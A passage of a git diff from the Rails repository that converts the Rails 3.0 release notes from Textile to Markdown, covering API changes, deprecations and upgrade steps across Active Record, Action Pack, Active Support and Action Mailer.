+Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
+
+* `where` - provides conditions on the relation, what gets returned.
+* `select` - choose what attributes of the models you wish to have returned from the database.
+* `group` - groups the relation on the attribute supplied.
+* `having` - provides an expression limiting group relations (GROUP BY constraint).
+* `joins` - joins the relation to another table.
+* `clause` - provides an expression limiting join relations (JOIN constraint).
+* `includes` - includes other relations pre-loaded.
+* `order` - orders the relation based on the expression supplied.
+* `limit` - limits the relation to the number of records specified.
+* `lock` - locks the records returned from the table.
+* `readonly` - returns an read only copy of the data.
+* `from` - provides a way to select relationships from more than one table.
+* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods.
+* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained.
+* `default_scope` - also works with relations.
+
+More Information:
+
+* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface)
+* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/)
+
+
+### Enhancements
+
+* Added `:destroyed?` to Active Record objects.
+* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
+
+
+### Patches and Deprecations
+
+Additionally, many fixes in the Active Record branch:
+
+* SQLite 2 support has been dropped in favor of SQLite 3.
+* MySQL support for column order.
+* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values.
+* Support multiple schemas in table names for PostgreSQL.
+* PostgreSQL support for the XML data type column.
+* `table_name` is now cached.
+* A large amount of work done on the Oracle adapter as well with many bug fixes.
+
+As well as the following deprecations:
+
+* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
+* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`.
+* `model.errors.on` is deprecated in favor of `model.errors[]`
+* validates_presence_of => validates... :presence => true
+* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`
+
+NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
+
+
+Active Resource
+---------------
+
+Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
+
+* Added validations through Active Model.
+* Added observing hooks.
+* HTTP proxy support.
+* Added support for digest authentication.
+* Moved model naming into Active Model.
+* Changed Active Resource attributes to a Hash with indifferent access.
+* Added `first`, `last` and `all` aliases for equivalent find scopes.
+* `find_every` now does not return a `ResourceNotFound` error if nothing returned.
+* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`.
+* `update_attribute` and `update_attributes` added to Active Resource models.
+* Added `exists?`.
+* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`.
+* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors.
+* Use `instance_eval` for schema block.
+* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility.
+* Add support for errors in JSON format.
+* Ensure `load` works with numeric arrays.
+* Recognizes a 410 response from remote resource as the resource has been deleted.
+* Add ability to set SSL options on Active Resource connections.
+* Setting connection timeout also affects `Net::HTTP` `open_timeout`.
+
+Deprecations:
+
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library.
+
+
+Active Support
+--------------
+
+A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
+
+These are the main changes in Active Support:
+
+* Large clean up of the library removing unused methods throughout.
+* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command.
+* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
+* Added `Array.uniq_by` and `Array.uniq_by!`.
+* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
+* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value.
+* Added `ActiveSupport::Notifications` middleware.
+* `ActiveSupport.use_standard_json_time_format` now defaults to true.
+* `ActiveSupport.escape_html_entities_in_json` now defaults to false.
+* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero.
+* `string.chars` has been renamed to `string.mb_chars`.
+* `ActiveSupport::OrderedHash` now can de-serialize through YAML.
+* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
+* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`.
+* Added `String#exclude?` core extension that returns the inverse of `#include?`.
+* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes.
+* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`.
+* Switch to on-by-default XSS escaping for rails.
+* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`.
+* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`.
+* `inspect` on a zero length duration returns '0 seconds' instead of empty string.
+* Add `element` and `collection` to `ModelName`.
+* `String#to_time` and `String#to_datetime` handle fractional seconds.
+* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
+* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
+* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`.
+* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
+* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
+* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
+
+The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
+
+* `Integer#even?` and `Integer#odd?`
+* `String#each_char`
+* `String#start_with?` and `String#end_with?` (3rd person aliases still kept)
+* `String#bytesize`
+* `Object#tap`
+* `Symbol#to_proc`
+* `Object#instance_variable_defined?`
+* `Enumerable#none?`
+
+The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
+
+The following methods have been removed because they are no longer used in the framework:
+
+* `Kernel#daemonize`
+* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by`
+* `Class#remove_class`
+* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures`
+
+
+Action Mailer
+-------------
+
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+
+* All mailers are now in `app/mailers` by default.
+* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
+* ActionMailer now has native support for inline attachments using the `attachments.inline` method.
+* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
+* All delivery methods are now abstracted out to the Mail gem.
+* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
+* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
+* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options.
+* What were mailer unit tests have been moved to functional tests.
+* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
+* Action Mailer will auto encode email bodies and headers for you
+
+Deprecations:
+
+* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations.
+* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object.
+* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`.
+* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block
+* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view.
+* Mailers being in `app/models` is deprecated, use `app/mailers` instead.
+
+More Information:
+
+* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released)
+
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
+
+Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.)
+
diff --git a/guides/source/3_0_release_notes.textile b/guides/source/3_0_release_notes.textile
deleted file mode 100644
index d22c76dd81..0000000000
--- a/guides/source/3_0_release_notes.textile
+++ /dev/null
@@ -1,595 +0,0 @@
-h2. Ruby on Rails 3.0 Release Notes
-
-Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
-
-But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
-
-Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
-
-* Brand new router with an emphasis on RESTful declarations
-* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
-* New Active Record chainable query language built on top of relational algebra
-* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
-* Explicit dependency management with Bundler
-
-On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
-
-These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-endprologue.
-
-To install Rails 3:
-
-<shell>
-# Use sudo if your setup requires it
-$ gem install rails
-</shell>
-
-
-h3. Upgrading to Rails 3
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
-
-h4. Rails 3 requires at least Ruby 1.8.7
-
-Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
-
-h4. Rails Application object
-
-As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to +config/environment.rb+ from the previous versions of Rails.
-
-Each Rails application now must have a corresponding application object. The application object is defined in +config/application.rb+. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from +config/environment.rb+ to +config/application.rb+.
-
-h4. script/* replaced by script/rails
-
-The new <tt>script/rails</tt> replaces all the scripts that used to be in the <tt>script</tt> directory. You do not run <tt>script/rails</tt> directly though, the +rails+ command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
-
-<shell>
-$ rails console # instead of script/console
-$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
-</shell>
-
-Run <tt>rails --help</tt> for a list of all the options.
-
-h4. Dependencies and config.gem
-
-The +config.gem+ method is gone and has been replaced by using +bundler+ and a +Gemfile+, see "Vendoring Gems":#vendoring-gems below.
-
-h4. Upgrade Process
-
-To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it.
-
-Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
-
-<shell>
-$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
-</shell>
-
-You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin
-
-Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
-
-More information - "The Path to Rails 3: Approaching the upgrade":http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade
-
-h3. Creating a Rails 3.0 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":http://github.com/carlhuda/bundler, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: - "bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated <tt>bundle</tt> command, so <tt>rake freeze</tt> is no longer relevant and has been dropped.
-
-If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/bin/rails new myapp --dev
-</shell>
-
-h3. Rails Architectural Changes
-
-There are six major changes in the architecture of Rails.
-
-h4. Railties Restrung
-
-Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
-
-h4. All Rails core components are decoupled
-
-With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
-
-More information: - "The Great Decoupling":http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/
-
-
-h4. Active Model Abstraction
-
-Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
-
-More information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/
-
-
-h4. Controller Abstraction
-
-Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
-
-More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/
-
-
-h4. Arel Integration
-
-"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
-
-More information: - "Why I wrote Arel":http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.
-
-
-h4. Mail Extraction
-
-Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
-
-More information: - "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3
-
-
-h3. Documentation
-
-The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
-
-More Information: - "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
-
-
-h3. Internationalization
-
-A large amount of work has been done with I18n support in Rails 3, including the latest "I18n":http://github.com/svenfuchs/i18n gem supplying many speed improvements.
-
-* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations.
-* Attributes can have default translations.
-* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
-* Labels with I18n also now work by just passing the attribute name.
-
-More Information: - "Rails 3 I18n changes":http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/
-
-
-h3. Railties
-
-With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
-
-* Each application now has its own name space, application is started with <tt>YourAppName.boot</tt> for example, makes interacting with other applications a lot easier.
-* Anything under <tt>Rails.root/app</tt> is now added to the load path, so you can make <tt>app/observers/user_observer.rb</tt> and Rails will load it without any modifications.
-* Rails 3.0 now provides a <tt>Rails.config</tt> object, which provides a central repository of all sorts of Rails wide configuration options.
-
-Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info.
-
-Railties generators got a huge amount of attention in Rails 3.0, basically:
-
-* Generators were completely rewritten and are backwards incompatible.
-* Rails templates API and generators API were merged (they are the same as the former).
-* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling <tt>rails generate foo</tt> will look for <tt>generators/foo_generator</tt>.
-* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
-* New generators allow you to override the templates by placing a copy at <tt>Rails.root/lib/templates</tt>.
-* <tt>Rails::Generators::TestCase</tt> is also supplied so you can create your own generators and test them.
-
-Also, the views generated by Railties generators had some overhaul:
-
-* Views now use +div+ tags instead of +p+ tags.
-* Scaffolds generated now make use of <tt>_form</tt> partials, instead of duplicated code in the edit and new views.
-* Scaffold forms now use <tt>f.submit</tt> which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
-
-Finally a couple of enhancements were added to the rake tasks:
-
-* <tt>rake db:forward</tt> was added, allowing you to roll forward your migrations individually or in groups.
-* <tt>rake routes CONTROLLER=x</tt> was added allowing you to just view the routes for one controller.
-
-Railties now deprecates:
-
-* <tt>RAILS_ROOT</tt> in favor of <tt>Rails.root</tt>,
-* <tt>RAILS_ENV</tt> in favor of <tt>Rails.env</tt>, and
-* <tt>RAILS_DEFAULT_LOGGER</tt> in favor of <tt>Rails.logger</tt>.
-
-<tt>PLUGIN/rails/tasks</tt>, and <tt>PLUGIN/tasks</tt> are no longer loaded all tasks now must be in <tt>PLUGIN/lib/tasks</tt>.
-
-More information:
-* "Discovering Rails 3 generators":http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators
-* "Making Generators for Rails 3 with Thor":http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor
-* "The Rails Module (in Rails 3)":http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/
-
-h3. Action Pack
-
-There have been significant internal and external changes in Action Pack.
-
-
-h4. Abstract Controller
-
-Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem.
-
-It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
-
-Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
-
-More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/
-
-
-h4. Action Controller
-
-* <tt>application_controller.rb</tt> now has <tt>protect_from_forgery</tt> on by default.
-* The <tt>cookie_verifier_secret</tt> has been deprecated and now instead it is assigned through <tt>Rails.application.config.cookie_secret</tt> and moved into its own file: <tt>config/initializers/cookie_verification_secret.rb</tt>.
-* The <tt>session_store</tt> was configured in <tt>ActionController::Base.session</tt>, and that is now moved to <tt>Rails.application.config.session_store</tt>. Defaults are set up in <tt>config/initializers/session_store.rb</tt>.
-* <tt>cookies.secure</tt> allowing you to set encrypted values in cookies with <tt>cookie.secure[:key] => value</tt>.
-* <tt>cookies.permanent</tt> allowing you to set permanent values in the cookie hash <tt>cookie.permanent[:key] => value</tt> that raise exceptions on signed values if verification failures.
-* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously.
-* <tt>respond_with</tt> method has now been added to your controllers simplifying the venerable +format+ blocks.
-* <tt>ActionController::Responder</tt> added allowing you flexibility in how your responses get generated.
-
-Deprecations:
-
-* <tt>filter_parameter_logging</tt> is deprecated in favor of <tt>config.filter_parameters << :password</tt>.
-
-More Information:
-* "Render Options in Rails 3":http://www.engineyard.com/blog/2010/render-options-in-rails-3/
-* "Three reasons to love ActionController::Responder":http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder
-
-
-h4. Action Dispatch
-
-Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
-
-* Big clean up and re-write of the router, the Rails router is now +rack_mount+ with a Rails DSL on top, it is a stand alone piece of software.
-* Routes defined by each application are now name spaced within your Application module, that is:
-
-<ruby>
-# Instead of:
-
-ActionController::Routing::Routes.draw do |map|
- map.resources :posts
-end
-
-# You do:
-
-AppName::Application.routes do
- resources :posts
-end
-</ruby>
-
-* Added +match+ method to the router, you can also pass any Rack application to the matched route.
-* Added +constraints+ method to the router, allowing you to guard routers with defined constraints.
-* Added +scope+ method to the router, allowing you to namespace routes for different languages or different actions, for example:
-
-<ruby>
-scope 'es' do
- resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
-end
-
-# Gives you the edit action with /es/proyecto/1/cambiar
-</ruby>
-
-* Added +root+ method to the router as a short cut for <tt>match '/', :to => path</tt>.
-* You can pass optional segments into the match, for example <tt>match "/:controller(/:action(/:id))(.:format)"</tt>, each parenthesized segment is optional.
-* Routes can be expressed via blocks, for example you can call <tt>controller :home { match '/:action' }</tt>.
-
-NOTE. The old style <tt>map</tt> commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
-
-Deprecations
-
-* The catch all route for non-REST applications (<tt>/:controller/:action/:id</tt>) is now commented out.
-* Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.
-
-More Information:
-* "The Rails 3 Router: Rack it Up":http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/
-* "Revamped Routes in Rails 3":http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3
-* "Generic Actions in Rails 3":http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/
-
-
-h4. Action View
-
-h5. Unobtrusive JavaScript
-
-Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
-
-What this means is that all previous <tt>remote_&lt;method&gt;</tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example:
-
-<ruby>
-form_for @post, :remote => true
-</ruby>
-
-Produces:
-
-<html>
-<form action="http://host.com" id="create-post" method="post" data-remote="true">
-</html>
-
-h5. Helpers with Blocks
-
-Helpers like +form_for+ or +div_for+ that insert content from a block use +&lt;%=+ now:
-
-<erb>
-<%= form_for @post do |f| %>
- ...
-<% end %>
-</erb>
-
-Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
-
-Helpers that do something else, like +cache+ or +content_for+, are not affected by this change, they need +&lt;%+ as before.
-
-h5. Other Changes
-
-* You no longer need to call <tt>h(string)</tt> to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call <tt>raw(string)</tt>.
-* Helpers now output HTML 5 by default.
-* Form label helper now pulls values from I18n with a single value, so <tt>f.label :name</tt> will pull the <tt>:name</tt> translation.
-* I18n select label on should now be :en.helpers.select instead of :en.support.select.
-* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output.
-* Added +grouped_collection_select+ helper to Action View.
-* +content_for?+ has been added allowing you to check for the existence of content in a view before rendering.
-* passing +:value => nil+ to form helpers will set the field's +value+ attribute to nil as opposed to using the default value
-* passing +:id => nil+ to form helpers will cause those fields to be rendered with no +id+ attribute
-* passing +:alt => nil+ to +image_tag+ will cause the +img+ tag to render with no +alt+ attribute
-
-h3. Active Model
-
-Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
-
-
-h4. ORM Abstraction and Action Pack Interface
-
-Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
-
-More Information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/
-
-
-h4. Validations
-
-Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
-
-* There is now a <tt>validates :attribute, options_hash</tt> shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
-* The +validates+ method has the following options:
-** <tt>:acceptance => Boolean</tt>.
-** <tt>:confirmation => Boolean</tt>.
-** <tt>:exclusion => { :in => Enumerable }</tt>.
-** <tt>:inclusion => { :in => Enumerable }</tt>.
-** <tt>:format => { :with => Regexp, :on => :create }</tt>.
-** <tt>:length => { :maximum => Fixnum }</tt>.
-** <tt>:numericality => Boolean</tt>.
-** <tt>:presence => Boolean</tt>.
-** <tt>:uniqueness => Boolean</tt>.
-
-NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
-
-You can also pass in a validator object, which you can then reuse between objects that use Active Model:
-
-<ruby>
-class TitleValidator < ActiveModel::EachValidator
- Titles = ['Mr.', 'Mrs.', 'Dr.']
- def validate_each(record, attribute, value)
- unless Titles.include?(value)
- record.errors[attribute] << 'must be a valid title'
- end
- end
-end
-</ruby>
-
-<ruby>
-class Person
- include ActiveModel::Validations
- attr_accessor :title
- validates :title, :presence => true, :title => true
-end
-
-# Or for Active Record
-
-class Person < ActiveRecord::Base
- validates :title, :presence => true, :title => true
-end
-</ruby>
-
-There's also support for introspection:
-
-<ruby>
-User.validators
-User.validators_on(:login)
-</ruby>
-
-More Information:
-* "Sexy Validation in Rails 3":http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/
-* "Rails 3 Validations Explained":http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true
-
-
-h3. Active Record
-
-Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
-
-
-h4. Query Interface
-
-Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
-
-* <tt>where</tt> - provides conditions on the relation, what gets returned.
-* <tt>select</tt> - choose what attributes of the models you wish to have returned from the database.
-* <tt>group</tt> - groups the relation on the attribute supplied.
-* <tt>having</tt> - provides an expression limiting group relations (GROUP BY constraint).
-* <tt>joins</tt> - joins the relation to another table.
-* <tt>clause</tt> - provides an expression limiting join relations (JOIN constraint).
-* <tt>includes</tt> - includes other relations pre-loaded.
-* <tt>order</tt> - orders the relation based on the expression supplied.
-* <tt>limit</tt> - limits the relation to the number of records specified.
-* <tt>lock</tt> - locks the records returned from the table.
-* <tt>readonly</tt> - returns an read only copy of the data.
-* <tt>from</tt> - provides a way to select relationships from more than one table.
-* <tt>scope</tt> - (previously +named_scope+) return relations and can be chained together with the other relation methods.
-* <tt>with_scope</tt> - and +with_exclusive_scope+ now also return relations and so can be chained.
-* <tt>default_scope</tt> - also works with relations.
-
-More Information:
-* "Active Record Query Interface":http://m.onkey.org/2010/1/22/active-record-query-interface
-* "Let your SQL Growl in Rails 3":http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/
-
-
-h4. Enhancements
-
-* Added <tt>:destroyed?</tt> to Active Record objects.
-* Added <tt>:inverse_of</tt> to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
-
-
-h4. Patches and Deprecations
-
-Additionally, many fixes in the Active Record branch:
-
-* SQLite 2 support has been dropped in favor of SQLite 3.
-* MySQL support for column order.
-* PostgreSQL adapter has had its +TIME ZONE+ support fixed so it no longer inserts incorrect values.
-* Support multiple schemas in table names for PostgreSQL.
-* PostgreSQL support for the XML data type column.
-* +table_name+ is now cached.
-* A large amount of work done on the Oracle adapter as well with many bug fixes.
-
-As well as the following deprecations:
-
-* +named_scope+ in an Active Record class is deprecated and has been renamed to just +scope+.
